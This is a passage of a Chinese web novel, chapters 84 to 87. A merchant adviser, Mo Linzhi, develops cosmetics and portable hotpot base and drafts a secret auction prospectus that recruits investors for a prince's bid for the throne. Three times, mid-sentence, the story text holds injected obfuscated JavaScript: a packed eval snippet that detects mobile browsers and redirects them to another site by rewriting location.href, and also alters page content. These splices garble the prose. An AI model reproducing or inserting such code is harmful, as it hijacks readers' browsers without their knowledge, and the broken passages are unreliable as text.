“说起来，我能有现在的洒脱，还是当初段家主给我的底气——她可以，我也完全可以嘛~”颜丽想起曾经那短暂的交汇，眯眼笑了，“年少时能够遇见一个改变你一生的人是一种运气。我的运气比一般人更好些，我遇见了2个！” 她冲莫林知比了个剪刀手，然后指向了莫林知，头晃了晃，最后不胜酒力，啪地倒下了。 莫林知无奈一笑，让晚香去准备解酒汤，然后给人盖了个厚斗篷，自己倒了杯茶，一个人慢慢品。 难得忙里偷闲，就显得这什么都不用想的时光更可贵了些。 以前每一次工作告一段落，她也是跑去山里的民宿或者酒店，安安静静地呆上一天。就看看山水看看云海，放点音乐，完全放空。只需要一天一晚，那些耗光的能量就会全部恢复，又能支撑她至少三四个月。 后来更忙了，她就喜欢去灵隐寺。慢悠悠地，一座一座大殿转过去，一直走到最顶层的华严殿，站在殿前广场的围栏边看香火袅袅升腾而起。 如果有幸能撞见下雨就更好了，朦胧烟雨笼罩在竹林上空，听着风吹竹叶的“沙沙”声，闻着寺庙特有的檀香，整个人心都宁静了。 眼前的这个院子，虽然没有大气磅礴的自然景观和宁静致远的袅袅檀香，但有一颗大榕树。像现在这样，坐在榕树下晃着摇椅喝着茶，就成了莫林知心里的另一个锚点。 只要定时回到这个锚点，不管多繁忙，她的生活都不会“晕头转向”。 一个多小时后，颜丽从醉酒状态中慢慢醒来时，看到的就是好友双手捧着杯子，盘腿坐在藤椅上静静看落叶纷飞的场景。 晃了晃晕乎乎的脑袋，颜丽口齿不清地呢喃：“你干嘛，要立地成佛啊？” 84. 开工 “以后出门在外少喝点。” 莫林知放下茶杯，让晚香把醒酒汤端过来，好好看着人喝完，差不多清醒了，才着人送她回家。而她自己则拎上颜丽交代的那些东西，去了后院。 距离晚饭时间还早，萧太妃听说颜丽送来的这东西是在莫林知的灵感下做出来的，忙让人卸了妆，兴致勃勃地试用起来。 这是个新鲜物件，碧心等人都不会用，便好奇地站一旁围观莫林知的手法。 ······其实也没什么手法。目前能用的工具不多，也幸好萧太妃的皮肤饱满润泽，要不然，莫林知还真有点抓瞎。 她一边用简陋的工具给萧太妃上底妆，一边心里暗暗记下：回头得让颜丽把配套工具也弄出来。海绵蛋有些高难度了，但是粉底刷散粉刷这些还是办得到的。 一顿涂涂抹抹，粉底和散粉就弄好了，莫林知退开些许远看了看，满意点头：“其实您的皮肤本身就很好，所以也看不出这个东西的效果到底怎么样，若是您感兴趣，可以找一个脸色暗黄或者有雀斑的试试看。” 碧心凑过来看了一眼，却是大加赞赏：“跟娘娘本身的肌肤相比或许看不出差别，但是比以往那些膏粉的效果好太多了，自然透亮，跟没上妆一样~不愧是莫管事，就没有您落空的点子。” 一番言语，两头不得罪。关键称赞时表情自然随和，说得跟真的一样。 莫林知打心底佩服这样的人才，她笑了笑，将地方让出来，让碧心继续给萧太妃完善整幅妆容。 完成后，萧太妃对着铜镜左右看了看，确实很难看出差异，便让碧心从院子里的二等丫鬟里挑了个皮肤有瑕疵的来试试看。 一通捣鼓后，萧太妃看着焕然一新又什么都没变的丫鬟，一脸惊叹：“这······这可真是厉害，毫无痕迹，像是浑然天成的一块无暇白玉。” 莫林知也很惊喜，没想到颜丽的执行力这么强！看着这个丫鬟的脸，她脑子里立马冒出了很多很多，什么遮瑕、阴影、高光、眼影······要是这些都能弄出来，那禹朝的美妆手法、美妆历史都将改写！‘丽颜’作为唯一推动者，绝对一跃成为当世第一！ 想想那个未来，莫林知有一瞬呼吸都重了！还是萧太妃“咳嗽”了几声，拉回了她的思绪。 对上萧太妃揶揄的眼神，莫林知不好意思地摸了摸脖子。 “又想到生意上去了吧！你啊，真是闲不下来的性子~” 莫林知“嘿嘿”笑了下，承认了：“天生劳碌命，没办法。” 萧太妃无奈失笑，而后拉着她的手，眼里漾起一丝心疼：“今天不想事情，这可是你自己说的。总之，什么都别管，专心陪我吃个饭，回去再好好睡一觉。” 莫林知笑着点头，接下来果真是半点不提工作的事。晚上回到院子，也没有点灯熬夜，而是用完一碗雪耳后就上了床。 第二天早早醒来，她精神满满地带着晚香和一车子沧澜带回来的手信出门了。 第一站是《见闻》。 莫林知把所有人叫到会议室，将伴手礼分发了下去。大家吃吃喝喝，闲聊了一下这段时间的工作进展，然后把东西一收，开始进入正题。 首先就是齐铭和何梅两人的升迁通知。之前只是口头保证，这一次，当着大家的面，莫林知拿出了非常正式的，有她本人私印和《见闻》公章的委任书。 “权利和责任就像光与影，很多人往往被表面的权利迷了眼，从而忽视背后的责任，但我相信你不会。何梅，不要让我失望。” “莫管事放心，也请大家监督，以后我一定更加谨慎克己，尽心尽力。” 莫林知拍拍她，让她回座，然后将另一份小心收起：“齐铭的这个到时候让飞毛腿送过去。接下来是第二件事，招聘。” “年后我要选一波人随我南下开拓《见闻》业务，所以北境这边就需要有人支撑着。下一期《见闻》，你们发一个招聘启示，每个岗位十个人，时间尽快吧。招聘流程你们都经历过，各个部门提交2份试题上来。” 众人闻言，脸上划过一丝惊讶，随即隐去。 “最后一件，商务部和策划部，将近期的所有已合作和未合作的营销策划总结整理一份给我，我要检查作业了。以上，没问题就散了吧，李管事留一下。” 晚玉举手，经莫林知点头后，起身问道：“已完成的部分今天就可以给到，但是未完成的有两个比较紧急，我可以在做完后给到吗？最迟明天中午可以完成初稿。” “没问题。” “谢谢莫管事~”晚玉收拾收拾东西，出去了。 何梅犹豫了一下，还是鼓起勇气开口问了：“莫管事，招聘的事情需要我统筹吗？” “要的，以后可以主动点。” 得到肯定答复，何梅看着莫林知鼓励赞赏的眼神，一颗心兴奋得跟小鹿乱撞似的出了门。 室内很快清空，只剩下了李程江，莫林知笔一丢，先问了个题外话：“龚煊辞职了？” “没有，你回来前一天让人来告了假，说是身体抱恙，要休息5天。这不，为了接手他的工作，晚玉都忙疯了。” 莫林知想想昨天萧衍也不见人影，心里就大概有数了。她把这事儿放下，转而开始说起南下的事：“开年南下，你去吗？” “当然去，少了我这根锋利的笔杆子，你确定你能搞定江南那些人？”李程江自负挑眉。 莫林知顿时笑开了：“所以啊，我这不是这么郑重地来征求你的答案。只要你答应，其他都好说。” “我姑且信了。”李程江耸肩，嘴上说着怀疑，眼里却带上了点点笑意。 “行，最重要的敲定了，我就不耽搁你们时间了。”莫林知收拾收拾，冲他摆了摆手，带着东西离开，然后来到了火锅店。 可能是现在天凉了，哪怕是白天，火锅店的上座率也比之前好很多。 吴大掌柜之前接到回信后就有预感，今天见到莫林知，毫不意外地迎上来，一句废话也没有，直接带着人来到了地窖储存干冰的地方。 一进去就是能冻死人的凉意，莫林知搓了搓手，跟着吴大掌柜绕过一排排生鲜货架，走到了最里边，也是最冷的地方。 吴大掌柜从一层层的货架上拿下一个簸箕，上面是方方正正一块块凝固的火锅底料，有些色泽鲜艳，有些则已经有了异味。 吴大掌柜苦着脸诉说这段时日遇到的难处：“莫管事，不是我不尽心。从您第一封信捎过来，我和大厨每天闭店后就在研究您说的这个。一开始，是炒制好的料难以凝固，后来，想办法调整比例，好不容易才在不影响味道的情况下做出了能凝固，方便运输的底料。可——它真的太容易坏了。” 吴大掌柜指着已经有异味的那些说：“若是放在常温下，1天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363536|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就开始有异味，放在这地窖里也只能撑个5天左右。您提到的什么密封法我们都试过，确实解决不了这个问题。” 莫林知听他说完，眼里闪过一丝懊恼——她忘了这个年代是没有防腐剂之类的东西的，所以没考虑到这茬。 “不怪你，是我没想清楚。”莫林知宽慰了一句，看着眼前的底料块，突然问道，“确定这个加水煮出来的味道和店里是一样的吗？” “不能说一模一样，但可以保证十之七八。” “那你觉得，我在门口支一个小摊子，专门卖这个底料块能否有生意？” 掌柜一听，顿时一拍大腿：“对啊，我怎么没想到！现在天气日渐变冷，这几天晚上的座位已经有点供不应求了，要是我们能专门提供底料块让他们自己回家煮，这怎么也比在外面排队要舒服得多吧！” 后面不用莫林知交代，吴大掌柜已经自己安排好了：“莫管事您放心，我等会儿就和吴二那边通个气，争取这周内就把摊位做出来，后厨这边也会专门开一个地方，拉一个队伍承接这部分的产出。” 莫林知点点头，刚一张嘴，话未出口先吸了口冷气，呛得她连连咳嗽。 晚香和吴大掌柜见状，不敢轻忽，连忙扶着人往外走。 上到地面，晚香立马给她手里塞了杯热水，然后转头去了车上拿斗篷。就这全副武装的，莫林知还感觉体内的寒气没有驱散干净，选了个有太阳的地方站着和吴大掌柜继续谈话。 “这部分你安排好，另外，我还想在沧澜那边也开一家分店，所以，想问问你是否愿意辛苦一趟。” 吴大掌柜：！！！！！ 突如其来的惊喜送到面前，吴大掌柜一贯的沉稳都差点没维持住，他连连点头，一叠声的保证：“我愿意的，莫管事，沧澜我去过，我熟！您放心，我一定给您把这个事情办好了！” “行，店铺选址我回来之前就已经交代飞毛腿那边留意了。你自己选一支团队，然后把这家店的事情跟吴二交接好就尽快出发吧。到了那边拿着我的手信去找《见闻》和飞毛腿，他们会帮你解决其他的需求。你要做的，就是招人，培训，保证店铺顺利走上正轨。” “是、是······我今天闭店了就安排起来。” “嗯，尽快办妥了回来，到时候给你们开庆功宴！”莫林知想了想，又提醒了一句，“还有，新店头3个月的成交算你们的绩效，年底一起核算，这个你也跟去的人说一声。” 吴大掌柜本来只是高兴自己还有大展身手的时候，不意还有意外惊喜，当下笑眯了眼~ 一副财迷样，逗得莫林知和晚香两人都笑了。 凭自己本事赚钱的人，怎么那么可爱呢~~~ “那我也不耽误你了，手信明天让晚香给你送过来，吴掌柜，我等你的好消息。” “您就瞧好吧~”吴大掌柜信心满满地应承着，一直把人送上车，看着马车远走，才哼着歌儿转身回店。 门口迎宾的小二见他愁眉苦脸了好几天，莫管事一来就喜上眉梢，忍不住上前逗趣，顺便探听点消息。 他那么点花花肠子哪瞒得过老道的吴大掌柜，只不过看在今天喜鹊进门的份上，懒得计较罢了。 没什么威慑力地横了人一眼，吴大掌柜笑骂：“瞎打听啥！事情做好了好事儿自然也会落到你的头上！你们啊，跟了个好管事就偷乐着吧！” 85. 变动 莫林知最后又去魏安所在的宅子晃了一圈，见人吃好喝好没啥不愉快的，便带着几箱零件，收获满满地回了王府。 刚进门就和萧衍打了个照面，除了他，早上才问起的龚煊也在。 这是······谈妥了？ 可能是看出莫林知眼中的疑问，萧衍主动作了介绍：“你们应该早就熟识了，不过我正式介绍一下，这位是西南王独子，萧煊，龚是他母家的姓氏。这位是我麾下谋士莫林知，也是一点点盘活北境经济的能人。” 莫林知冷淡地冲龚煊点点头算是招呼了，转而看向萧衍：“晚上约了小杰和萧瑾一起组装自行车的，您先忙，我就不打扰了。” “等等。”萧衍伸手，挡住她的去路，“我们要谈点事情，有些也会涉及到你这边，所以······自行车的事情改天吧，你和我们一起来。” 莫林知视线在他带着歉意的脸上停驻2秒，然后转头，让晚香将东西带回院子看好，自己则跟着萧衍去往他的书房。 到了地方才发现，原来不止他们三个，萧凛和林显也在。大家各自找了位置坐下，萧衍开门见山地对萧凛吩咐：“这位是西南王世子，后面可能要在北境住个一年半载，你安排几个稳妥的人，确保世子安全。” “是！”萧凛起身应下。 莫林知闻言，心里讶异挑眉：这算什么？联盟信物？拿独子当质子，这位西南王这么相信萧衍？？？ 这一刻，说不上来什么感觉，饶是她再讨厌龚煊，也忍不住对他报以同情目光。 当然，也就2秒。 她对自己的政治立场还是认得很清楚的。 只不过，吃瓜的心情不到2秒，转头这瓜就砸自己头上来了—— “根据西南王和我这边的可靠消息，皇城那边可能要开始削藩了。”萧衍平静的语气说着劲爆的内容。 “什么？？？”莫林知跳了起来，“这么快！！！不是说最快2年最慢5年的吗！！！” 她的反应过于强烈，连神色最凝重的萧凛都蒙了一秒，有种自己的情绪被别人抢了的感觉······ 萧衍哭笑不得：“谁跟你说的是2年？” 呃(⊙o⊙)… 莫林知卡了壳。 对啊，2年的印象是怎么来的？？？ 莫林知往前翻了翻记忆，发现好像萧衍从没对她说过明确时限，就连最开始签订对赌契约，也是她听了街坊邻居的闲聊讨论，才擅自定了这个时间。 所以······坊间的小道消息原来没一个准的啊？？？ 莫林知想想前世回老家过年，听着村里一堆大老爷们畅谈政.治的画面，好像有一点点悟了······ 她闭了闭眼，尴尬到窒息。 不过现在不是说这些的时候，莫林知想起自己托陈家牵线弄的拍卖会，迟疑开口：“巡视路上就收到了陈家主的回信，说是答应前来北境的的商户约莫15家——这还只是有牌面的大家族，其他那些闻风而动苍蝇扑肉似的小家族就更难说了。这么大阵仗，会不会成为众矢之地啊？” “我要说的就是这个。”萧衍接话，“拍卖会你按你的想法做，但是南下的队伍需要减一减，尽量从萧凛这里抽调人手。” 莫林知不傻，立马意识到这条变动背后的深意——南下的人可能无法保障安全。 风险很大。 但······“我是一定要南下的。” “不行！”萧衍一口否决，“你可以远程指挥。” 莫林知心里不赞同，但这么多人在，只能暂且按下，想着等后续计划改一改再单独找他聊。 她不想应承，干脆直接跳过：“不过这样一来，就等不到年后行动了吧？如果拍卖会结束就加快脚步，趁新年说不定可以将飞毛腿一炮打响。” 感受到时间紧迫的莫林知果断定论：“我今晚把新的计划改出来，明天和您对一下。” 萧衍点点头，没说什么“今晚先好好休息”之类的蠢话——不管是他还是莫林知，都不是儿女情长的人。不让她南下，就已经是他在这个宏伟目标中的最大私心了。 一群人聊完了正事，萧衍安排了晚宴，但莫林知借口要回去改规划，向大家表示歉意后离席了。只是走出没两步，龚煊跟了上来。 “莫林知，聊聊？” 莫林知想了想，换了个方向，去了花园那边。 “你接下来还回《见闻》吗？” “回的。你的商业模式很有意思，我想再多看看，不介意吧？” 莫林知耸肩：“王爷都没说什么，我更加没什么可介意的。只是没想到，世子放着正事不做，反而天天耗在我这边。” 龚煊闻言，苦笑了一下：“我父王已经跟萧衍投诚，正式退出了这场角逐。之后，若是萧衍成功，我们家最好的待遇也就是做个富贵闲人。或许······未来在西南推广这种经济模式，盘活西南的经济就是我的正事也未可知。” 虽然猜到了一些，但从龚煊口里证实，莫林知还是为西南王的洒脱和魄力震惊了一瞬——滔天权势当前，几乎所有人都红了眼，这个节骨眼，西南王竟然能清醒地权衡自身实力，选择放弃？ 而且，他怎么就这么肯定，萧衍能上位？以及萧衍上位后能容下他这一支？ 莫林知对政治的敏感度还不及商业的十分之一，她猜不透这中间的利益交换，当然，也没兴趣猜。如果西南王的投诚是真的，那······· 莫林知代入己身想了想，由衷佩服道：“你父王真的很了不起。这世界，有进取心的人很多，但愿意退让放弃的人太少了，他愿意为了你们克制自己的野心，挺厉害的。” 龚煊闻言，若有所思：“······所以，在你看来，我对你的感情是不是也应该放弃？” “是！” 莫林知答得毫不迟疑，龚煊见状，再度苦笑。 “你一定要这么不留余地吗？” “不喜欢却还要给人希望，那才是真的痛苦。你从我的做事风格就应该能看出来，我虽然喜欢快刀斩乱麻，但下刀之前，我一定是深思熟虑过的。所以，我不会喜欢上你，也是经过反复推演，确定以及十分肯定的事情。” 有的时候，理智平静的发言，比情绪宣泄下的恶语更伤人。龚煊端详着面前这张冷硬的脸庞，心想“相由心生”这句话果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376152|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是半点不错的。 她面对其他人时都是干练温和的，只有对自己，凌厉得毫无余地。 但是真的······好不甘心啊！莫林知是他此生遇到的唯一一个想共度余生的人，这样的念头，哪怕知道萧衍对她也有着同样的心思，他也不想放弃。 龚煊深呼吸一口气，压下心里翻涌而起的情绪，极力克制地问：“那萧衍呢？我不行，他就可以吗？” “那就是我和他之间的事情了。世子，您管得太宽了。”莫林知一句话拉开双方之间的距离，而后见他没什么正事要说，便后退一步，行礼告辞，“您若是继续呆在《见闻》，我就只当您是龚煊，一应事宜皆公事公办，还请世子考虑清楚。先告退。” 龚煊没动，看着她离开，面容苦涩而无奈。 哪怕当初父王做出向北境投诚的决定，他都不曾有过现在这种，只能眼睁睁看着宝贵的东西从手中流失的感觉。 人生八苦，求而不得······原来是这种滋味。 *** 莫林知回到院子的时候，萧瑾和莫林杰两人都在。二人蹲在院子里那几个木箱前，翻看着里面的东西，又摸不着头脑又觉得新奇。那模样，就像几个月大的宝宝吃东西，没有牙齿但也抱着不舍得放手一样。 她心下觉得好笑，让晚香拿来图纸塞给两人：“照着这个拼吧，有什么不会的可以问问晚香。” 萧瑾接过，好奇问道：“我听说这个比马还快，真的吗？” “你试试不就知道了~实践才是检验真理的唯一标准哪~”随口给人吐了句至理名言，莫林知转而问晚香有没有准备晚餐——奔波了一天，饿死了。 晚香见状，连忙将厨房里温着的饭菜端出来。 萧瑾和莫林杰就是打着蹭饭的主意来的，没想到莫林知会临时被萧衍叫过去商谈事情延误到现在，所以等了这么久，大家都饿了。上了桌，什么虚礼都免了，直接上筷子！ 饭吃到一半，不那么心慌了，才有了闲聊的心情。 萧瑾眼珠一转，凑到莫林知面前装乖：“林知姐，要不······这几天让小杰在我那边起居吧？我把这个自行车零件也搬过去，省得打扰你。” ——算盘珠子都崩到脸上了，分明就是嫌她院子太偏跑来跑去浪费时间吧······ 莫林知无语了一瞬，但没反对：“我没意见，你问问小杰自己愿不愿意。” 顶着好朋友的期待眼神，莫林杰有些犹豫：“可是······我想每天都看见姐姐。” “这还不简单，我们每天一起去母妃院子里吃晚饭不就见到了嘛~~去吧去吧，我想早点试试自行车~~” 萧瑾一提车子，莫林杰也心动了一下下，难以抉择的他转头看着姐姐，一脸为难。 莫林知摸摸他的头，鼓励道：“想去就去，姐姐也忙，你就算回院子住，我也只是能和你吃顿晚饭而已。” 院子里的一顿饭和太妃娘娘那里的一顿饭好像区别不大。莫林杰脑袋里比较了一下，顿时松了口气，一张皱巴的小脸舒展开了：“好吧，那姐姐要每天早点休息~” “你也是，要听萧瑾哥哥的话~” 86. 新计划 这一晚，在晚香眼里好了没两天的莫林知又熬了一把大的。 直到天际泛白，她才将手中的东西收拾收拾，一起带回屋，压在了枕头底下——这还是头一次写方案或者规划避着晚香晚玉。两人虽然不解好奇，但更多的也还是担心她的身子。 晚香端来一盆水，给倒头就睡着了的莫林知擦了擦，擦到脚的时候，摸着那冰冷的温度吓了一跳，忙让晚玉帮忙灌了一个暖水瓶来。 两人一通忙活，结束时已经到了晚玉平时上工的时间，她看了看天色一步三回头地离开了。 晚香也没闲着，先去小厨房熬了一锅米粥，然后把雪耳也炖上了，做完后才回到莫林知的房间继续守着，这一守就守到了中午，莫林知被饿醒。 头在叫肚子也在叫，莫林知睁着眼睛瘫了一会儿，认命地爬起来。填了两口肚子，然后去了萧衍的院子。 萧衍正在书房看书——一看就是在等她上门的样子。 见到莫林知递过来的前所未有的厚厚一叠纸张，他挑眉笑了下：“这么多，看来昨天的紧急消息刺激了你的创作欲啊~” 莫林知翻了个白眼：“整个计划全盘推翻重来，我人都快累死了你还开玩笑，做个人吧。” “那你眯一眯，我先看。”萧衍将茶壶和点心都推到她面前，然后低头专注正事。 虽然是厚厚一叠，但是被区分成了2份： 《北境第一届拍卖会-表》 《北境第一届拍卖会-里》 “里”显然比“表”要厚实很多。 萧衍抬眼，看了眼趴在桌上小憩的莫林知，好奇心被拉起来了——难道这人还想玩什么“明修栈道暗度陈仓”的戏码？ 想了想，还是接着顺序往下翻了。 “表”拍卖会的内容很简单，拍卖会的目标、产品招募、前期准备、落地执行、预估收益等，一项项很清晰，就是最后有一页“筛选标准”空着，除了一个名字，什么也没有，看得萧衍满头问号。 筛选？筛选什么？而且标准空着是什么意思？暂时没想好？还是说······等着他来写？ 最后一个念头跳出来的时候，萧衍心里蓦地一动，立马翻开了“里”。 果不其然，第二份，表面为《北境第一届拍卖会-里》实则翻开后，真实的封面上写的是《禹朝皇位投资人招募说明书》 萧衍：！！！！！！ 他都不知道该叱责她的胆大包天，还是该为她的异想天开鼓掌叫好。 这些年，眼看着皇城那边一次次作死，几乎所有人心知肚明——这个皇位，势必要换个人来做。可即便如此，从来也没有哪一个人敢把这件事放到台面上说。 偏偏这个女人就这么写了，就好像这个位置不是那至高无上的禁忌！它和她手中的干冰、自行车这些无甚区别一样。 单单这几个字，他就感受到了她目空一切的傲气。真的是······太舒畅了哈哈哈哈！ 心里有如惊涛拍岸，萧衍极力克制着，抖着手翻开了下一页。 第一块内容：候选人。 首先就是他的简笔头像，旁边一个五维数据图。分别是[军事]、[政治]、[亲民]、[品行]、[储备]，最右边有一个大大的综合得分。 下面就是对五维数据的注解，每个维度大概200个字。 例如军事，就大概列举了他上位后的所有战事胜率、伤亡、歼敌数量、平日训练等等情况，关键数据都隐去了，但是胜率这种不算机密的都展示出来了。 政治也是，列举了北境近几年的人口增长率、吏治相关的事迹作为佐证。 亲民主要解释了肃王府在北境民间的声誉，其中重点将萧衍扶持经济（莫林知）的作为突出了一下。大概是考虑到面向的人群是商人吧。 在禹朝，商人的地位倒是没有那么低，所谓“士农工商”这种等级划分是不存在的。但是“士”确确实实是压在所有人头顶的权利阶级，而商人大多巨富，所以······私底下免不了受人掣肘。 品行和储备相较之下就水分含量有点高了，萧衍一扫而过，轻笑了下。 最下面还有小字注解的综合得分计算法则，例如夺取皇位的关键因素是在军事才能和储备，那这两个维度的加权是各30%，亲民是20%，政治和品行各10%。 ——有点意思，他还是头一次看到，有人能把皇位争夺的获胜概率用这么明确的数据展现出来的。虽然这个综合计算的法则有些简单粗暴，影响因素考虑不够全面，但不得不说，这么一列，确实清晰很多。 就好像一团线球，现在有人给排列整齐了，孰长孰短，一目了然。 萧衍继续往下翻，果然，后面几页都是别的候选人名字，只不过数据和内容都空着了，估计是等他来填吧。 跳过候选人这一趴，往下就是投资档位。 莫林知分了三挡：5万物资、10万物资和20万物资。 下面说明了物资的交付方式和交付时间批次。 再往下，就是投资风险以及风险应对预案，包括但不限于“走私被当局发现”这种问题。让萧衍觉得好笑的是，莫林知的解决方案简直透着一种破罐子破摔的意思—— 她的提议是答应投资，即可在第一批物资交付时顺道将继承人送往北境，既为诚意也是保护。若是事成，则阖家团圆皆大欢喜，若是事败，那北境也可保他们后继有人，并承诺可扶持继承人重整家业······ 萧衍看得直摇头，这两页问题和解决预案基本上有点理想化了，他还得召集幕僚再修缮一下。 他翻到最后一部分，发现是投资回报，上面根据三挡投入分别给出了后续能享有的权益。大到赋税、皇商名头，小到未来一些生意的优先合作权等等，每一档都列了满满一页。 还别说，看起来是真挺心动的——如果忽略那个风险的话。 一份别开生面的投资计划书看完，萧衍默默回味着，忍不住别开脸，笑了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388902|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕吵醒莫林知，笑得胸腔震动，手都死死地按在嘴上不泄露分毫。不想耳边突然传来清冷的一声质问： “笑什么？” 萧衍转头，松开手，顿时一串“哈哈哈哈”泄露出来。等畅快地笑完了，才在对面人越来越紧皱的眉头中开口：“你啊······真是什么都敢想，什么都敢写！” “我能有什么办法，本来还以为时间足够，可以蚂蚁搬家似的一点点借飞毛腿这张网挪囤物资。谁能想到，皇城那边会上赶着找死啊！”莫林知翻了个白眼，一副计划被人打乱的不爽感。 ——明明自己是帮着造反的恶霸，却还责怪别人打乱她计划，这样子，真的是······萧衍又想笑了。 “我发现，你不但对那个位置没有半点敬畏之心，你还很看不上，很鄙夷那个位置？”萧衍笑问。 莫林知瞥他一眼，冷淡解释：“人们或许会恐惧权利，但只会心甘情愿地臣服于高洁的品行。我佩服齐铭，挣扎求生，遭遇不公却没有随之沉沦；我也佩服何梅，内外支撑，不管多累也始终保持积极进取之心；我更佩服老肃王和您，手握权利却选择了守护，日日夜夜殚精竭虑，在这样一个高寒地域燃起了万家灯火。” “王爷，野心每个人都有，但不是每个人都配得上！” 莫林知说得掷地有声，萧衍听得呼吸都窒住了。 他知道，她只是简单解释自己对权利的看法，但这个解释是他听过的最动人的······情话。 在这个世界上，有一个和他非亲非故的人如此懂他，不止懂，还用行动竭尽全力支持他······此时此刻，他真的想把眼前人死死揽进怀里，融入血肉，永不分离！ 但他不能。 萧衍闭上眼，深呼吸，死死克制住了心里的欲念，再睁开时，除了一双眼亮得吓人，笑容更开怀了一些，倒是与先前别无二致了。 他想了想，将这份计划书笑纳了：“按你想的去做吧，第二份我来完善，中间有些条件和细节也得改一改。” “没问题，我本来也就是搭个框架。还有那个筛选规则，我初步能想到的就是实力、人品和背景，其他的您看着完善吧。我建议，从他们踏入北境地界就开始观察，正好事实飞毛腿暗线的效果到底好不好。” 萧衍点头：“我会跟萧凛交代的。算算日子，那些人应该也启程了。” “那没别的事情我就先回了，还有一堆事情待处理。”莫林知伸了个懒腰起身，冲人挥挥手转身离开。 萧衍目送她的背影消失，而后摩挲着手底下的两份计划书，微微一笑，眼底浮现出势在必得的光芒。 皇位他要，人，他也要定了！ 莫林知聊完回到院子，发现时间已经半下午了，这个时候就算赶去《见闻》也做不了什么，想了想，干脆坐下来写邀请帖。 之前就说过，她要把《见闻》的展示架摆满所有客栈酒楼，只是整体计划没定，她就先按下了。现在么，也是时候召集这些人谈一谈了。 87. 准备1 之前就提到过，北境第一场拍卖会，怎么也得好好造势。只是当时还没有定下这场拍卖会的具体规划，所以即便想谈合作也未免操之过急了些，现在么，自然是可以开始着手了。 之前就有让林显搜集北境大客栈酒楼背后的家族，这天下午，莫林知花了一个小时，将二十几份请帖都写好并派人送出去了，只等回复。 说真的，客栈倒还好，但她现在在酒楼圈子里······名声还真不咋地。 火锅店开始之前，北境的酒楼排名相对都比较固化了，大家各据一亩地，井水不犯河水，谁承想，一个火锅店借助《见闻》横空出世，占据了核心圈的一席之地。 而火锅店的崛起就像一根棍子，完全搅浑了这塘鱼池！ 先有寻味斋接二连三，凭借《见闻》的长期合作，将自己挤进了前三的位置，后有街头小食摊，一条街联合找上《见闻》，一跃成为北境爆火的“夜宵街”。此后，这个圈子就再没消停过，以往温吞的经营方式全然没了，大家绞尽脑汁地往《见闻》扑，好几个掌柜为了个头版头条，闹得见面都横鼻子瞪眼睛。 还是白玉京掌柜看不过眼，居中调和了几次，大家才慢慢消停。但这一切归功结底，还是莫林知的锅！！！ 所以，颜丽让她出门小心点，真的不是空穴来风的。 这群人接到这张请帖，好几个人第一反应就是扔了一边，就这还嫌不够，还得语气愤愤地补上一句：“净整些幺蛾子！” “那······咱还去吗？小的给回了？” 管事眼一瞪，恨铁不成钢地盯着手下：“怎么不去！万一这幺蛾子整到自己头上怎么办！！” “是是，那我现在给人回信。”手下点头哈腰地出去了。 于是第二天中午，凡是被莫林知邀请的都到了，就是脸色不怎么好看······ 莫林知踏入宴客厅的时候刷地一下就对上了几十双幽幽控诉的眼睛。脚步顿了一下，念头一转就大概知道是怎么回事儿了，便扬起更加和煦的笑容走了进去，率先打招呼：“感谢各位赏脸，莫某进入北境圈子这小半年，多亏各位相助才能这么顺利。所以啊，今天莫某有了好事，这不，立马就来拉着大家一起赚钱了。” 她不说还好，一说，在座不少人就想哼她一脸！ 什么帮助，那是他们愿意花的钱吗！！！ 只是伸手不打笑脸人，面色不悦的几个人虽然板着脸，但没想撕破脸，于是沉默着不搭理。 但是对莫林知来说，这就够啦！ 谈生意嘛，最怕什么？最怕别人不给你说话的机会！沟通才是拉近友谊的桥梁啊~~ 莫林知坐到主位，先敬了3杯，然后才开始进入正题。 “是这样，这个月底呢，我将在定安城举办一场拍卖会。大家都知道嘛，我手上有干冰、自行车这些方子，奈何人力有限，产量跟不上，所以啊，一直想造福大家都顾及不到。这不，干脆一点，直接卖了。” 一听到“干冰”二字，不少人眼睛刷地一下亮了。 这可是个好东西啊！像他们开酒楼客栈的，要是夏天能弄到这个，那生意绝对更上一层楼！ 之前打过几次交道的寻味斋掌柜坐不住了：“莫管事，您当真没开玩笑？” “当然，生意人讲究的就是诚信，在座各位这么多人，我能诓谁？”莫林知抬手，示意大家镇定，然后接着说，“这场拍卖会呢，面向禹朝所有商家，凡有实力，皆可竞争！截至目前，我就已经接到回讯，江南那边，陈吴林杜四大家皆已动身，西北莫家和皇城黄家也接了邀约。其他大大小小的我就不一一细数了。” 众人一听，怔愣了，第一反应是自己争不过这些人，正在盘算着呢，就听上首之人继续开口： 